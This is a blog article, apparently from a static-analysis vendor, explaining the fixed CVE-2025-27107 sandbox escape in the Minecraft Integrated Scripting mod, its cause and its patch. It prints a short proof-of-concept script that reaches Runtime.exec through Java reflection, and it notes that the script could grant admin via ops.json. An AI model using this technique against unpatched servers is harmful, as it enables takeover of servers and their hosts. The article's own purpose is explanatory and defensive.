Our website uses cookies to enhance your browsing experience.
I'm sure many Minecraft server owners have experienced players trying to hack into their server and give themselves administrator privileges. Of course, such behavior isn't limited to gaming, so I study it out of pure scientific curiosity to understand how and why it happens. In this article, we'll look at a vulnerability in the Integrated Scripting mod.
Disclaimer! This article is not a guide to hacking servers. It discusses the now-fixed CVE-2025-27107 vulnerability in the Integrated Scripting mod and explains how to protect against it.
It feels almost impossible to find a Java developer who has never played Minecraft. And almost everyone who has played the game is familiar with its vast array of mods and the massive community that has formed around them.
As I briefly mentioned in my previous article, there are mods that transform the blocky game into a shooter or an RPG on par with some AAA titles. The core of the ecosystem consists of mods that expand the existing gameplay. Integrated Dynamics is one of them.
Integrated Dynamics is a mod for automating and managing in-game systems. It lets you build complex networks by combining redstone mechanics, logic gates, and energy grids. The mode adds features for transferring items, liquids, and energy. It also enables auto-crafting, working with NBT data, and HTTP interactions.
You can use it to build sophisticated resource-processing systems and large storage setups, or to streamline routine gameplay tasks. In terms of capabilities, it resembles Applied Energistics 2, which we may explore in the future.
The mod has many add-ons, but this article will focus on just one: Integrated Scripting.
Integrated Scripting is an add-on for the Integrated Dynamics mod that enables you to write scripts in JavaScript, which then can be stored in Variable Cards. You can use these cards in data storage and transfer devices. For example, you can use a logical function to specify which items and in which cases you want to transfer to the system.
How do you like the IDE? It covers the bare minimum: syntax highlighting and compiler output. Line wrapping is an issue, though.
With the basics out of the way, let's move on to the CVE.
Let's start with the name: what's a CVE? I'll give a brief outline here, but you can find a more detailed explanation at the link.
The Common Vulnerabilities and Exposures (CVE) database catalogs known security vulnerabilities and flaws. MITRE, a U.S. nonprofit organization that focuses on systems engineering, maintains it. The catalog contains entries for each publicly known vulnerability that has already been fixed. One of these entries applies to the mod we're dissecting. CVE identifiers follow this format: CVE-YEAR-ID.
Now, let's put on our detective hats and start examining the CVE-2025-27107 case file. On March 13, 2025, a post was published in the Security section of the official GitHub repository for the IntegratedScripting mod. The post described the possibility of arbitrary code execution using reflection.
Arbitrary Code Execution (ACE) enables an attacker to run any commands or code they choose on a target machine or within a target process.
Remote Code Execution (RCE) is a type of arbitrary code execution that allows an attacker to remotely run commands on a target system without having physical access to it.
According to chc4, the post's author, calling getClass().getClass() on an exception object in a script returns the java.lang.Class object. Reflection then allows to call Class.forName, which effectively executes arbitrary code on the server.
Here's a shortened example:
try {
// attempt to obtain a ClassCastException
idContext.ops.listGet(i, 1)
} catch(e) {
cls = e.getClass().getClass()
console.log(cls) // java.lang.Class
methods = cls.getMethods()
forName = methods.filter(x => x.getName() == "forName" &&
x.getParameterCount() == 1
)[0]
console.log(forName) // java.lang.Class.forName(java.lang.String)
runtimeClass = forName.invoke(null, "java.lang.Runtime")
getRuntimeMeth = runtimeClass.getMethod("getRuntime")
runtime = getRuntimeMeth.invoke(null)
execMethod = runtimeClass.getMethods()
.filter(x => x.getName() == "exec" &&
x.getParameterCount() == 1
)[0]
execMethod.invoke(runtime, "notepad.exe");
}In the next section, we'll discuss how we managed to access Java reflection methods via JavaScript without encountering any restrictions. For now, let's step into the crime scene. First, we need Minecraft 1.21.1 with four mods at specific versions:
Next, we'll build the following structure in the game.
It's made of:
Then, we insert the script that runs notepad.exe into the card and put the card into the exporter. After that, we just put the items in the chest and enjoy the magic:
Instead of calling notepad.exe, the script can execute any OS command or, for example, add a player to the server admin list via the ops.json file.
Let's break down why this happened and how developers fixed the vulnerability.
The way it works is simple: Integrated Scripting uses the Polyglot compiler. It enables various programming languages to run on the JVM, allowing the mod to interpret scripts and pass their results to the Integrated Dynamics system.
The Context class is responsible for executing code within the library. Developers can configure it via Context.Builder, where they can specify which features will be available to the script: from access to Java objects to working with threads and input/output:
The ScriptHelpers.java:46 file
public static Context createBaseContext(....) {
Context.Builder contextBuilder = Context
.newBuilder()
.engine(ENGINE)
// .allowAllAccess(true)
.allowCreateProcess(GeneralConfig.graalAllowCreateProcess)
.allowCreateThread(GeneralConfig.graalAllowCreateThread)
.allowIO(GeneralConfig.graalAllowIo)
.allowHostClassLoading(GeneralConfig.graalAllowHostClassLoading)
.allowExperimentalOptions(GeneralConfig.graalAllowExperimentalOptions)
.allowNativeAccess(GeneralConfig.graalAllowNative)
.allowHostAccess(HostAccess.ALL) // <=
.allowInnerContextOptions(false);
....
return contextBuilder.build();
}Although the developers didn't allow direct access to Java classes, the allowHostAccess(HostAccess.ALL) setting in the snippet above grants the script full access to the reflection. The documentation for the setting explicitly states:
Note that this policy allows unrestricted access to reflection. It is highly discouraged from using this policy in environments where the guest application is not fully trusted.
This was the core mistake the mod developers made: they allowed access to reflection, which made it possible to execute arbitrary code in the Java environment where the server-side of the mod runs. That's exactly what we took advantage of in our "exploit."
The developers fixed the vulnerability by replacing HostAccess.ALL with a custom configuration built via HostAccess.Builder and moving all related settings into the mod's GeneralConfig. Server administrators can now configure the allowPublicAccess setting themselves. It controls whether the script has unrestricted access to reflection. This setting is now disabled by default.
This is what the configuration file looks like now: ScriptHelpers.java:41
.allowHostAccess(HostAccess.newBuilder()
.allowPublicAccess(GeneralConfig.graalAllowHostPublicAccess) // default false
.allowAllImplementations(GeneralConfig.graalAllowHostAllImplementations)
.allowAllClassImplementations(
GeneralConfig.graalAllowHostAllClassImplementations
)
.allowArrayAccess(GeneralConfig.graalAllowHostArrayAccess)
.allowListAccess(GeneralConfig.graalAllowHostListAccess)
.allowBufferAccess(GeneralConfig.graalAllowHostBufferAccess)
.allowIterableAccess(GeneralConfig.graalAllowHostIterableAccess)
.allowIteratorAccess(GeneralConfig.graalAllowHostIteratorAccess)
.allowMapAccess(GeneralConfig.graalAllowHostMapAccess)
.allowAccessInheritance(GeneralConfig.graalAllowHostAccessInheritance)
.build()
)Similar vulnerabilities have surfaced in the Minecraft community more than once, unfortunately. The Log4Shell (CVE-2021-44228) vulnerability is a prime example. In 2021, it wreaked havoc on Minecraft and half of the internet. A single error in a library led to widespread remote code execution and real panic among server administrators. At the time, I was heavily involved in running Minecraft servers, and I clearly remember people offering to sell me "patched" Log4j versions that had the exploit removed.
Another serious incident occurred back in the 1.7.10 era: a remote code execution vulnerability in the BiblioCraft mod (CVE-2023-29478). An attacker could exploit a path traversal vulnerability to plant a mod with a payload on the server, which would make exploitation both trivial and extremely dangerous.
Experience shows that hacking a Minecraft server is easier than it seems. The discovered vulnerability proved to be genuinely dangerous. Fortunately, the developers released a fix, and the server owners timely updated the mode, which helped minimize the impact.
This story highlights why it's extremely important to exercise caution when modding games. Even the most popular projects aren't immune to critical errors. The vulnerable version of the mod (1.0.16) is still available on the CurseForge mod page, and users can download it without receiving any warnings.
To protect your code from such vulnerabilities, it's a good idea to regularly perform static code analysis. It helps detect unsafe constructs, potentially dangerous logic sections, and errors that could lead to application security issues. For example, the V5339 diagnostic rule in PVS-Studio analyzer can detect remote code execution vulnerabilities in Polyglot. We have a free licensing option for open-source projects.
0
0
0
820
0
1287
0
316
0
0